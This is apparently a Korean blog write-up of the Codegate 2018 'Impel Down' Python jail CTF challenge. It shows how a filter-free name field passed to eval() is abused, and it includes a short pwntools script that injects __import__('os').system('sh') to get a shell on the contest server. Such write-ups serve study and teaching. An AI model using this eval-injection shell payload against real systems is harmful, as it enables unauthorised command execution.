본문 바로가기

CTF

[Codegate 2018] Impel Down

Codegate 2018 Impel Down Misc 853pt

python jail 문제다.


실행시켜보면 4개 명령어를 입력받는데 4개의 명령어가 아닐시에 이런 오류를 뿜어낸다

eval() 으로 인자를 받으므로 os를 import 시켜 보았다.


입력할때 특수문자 필터링이 걸린다. 

name으로 명령어를 넣고 eval(name)을 활용하였다.


성공적으로 ls 명령 실행결과가 추출되었다.

이름에는 필터링이 걸리지 않는다

그러면 이제 플래그를 얻을 수 있다.


[Solve]

1
2
3
4
5
6
7
8
from pwn import *
 
= remote("ch41l3ng3s.codegate.kr",2014)
print p.recvuntil("Name :")
p.sendline('__import__("os").system("sh")')
print p.recvuntil("###############################################")
p.sendline("coworker, eval(name)")
p.interactive()
cs


'CTF' 카테고리의 다른 글

[Codegate 2018] easy_serial  (2) 2018.02.05
[Codegate 2018] RedVelvet  (0) 2018.02.05
[AceBear Security Contest] secure login  (0) 2018.02.02
[Codegate 2017] EasyCrack 101  (1) 2018.01.30
[Codegate 2017] angrybird  (0) 2018.01.30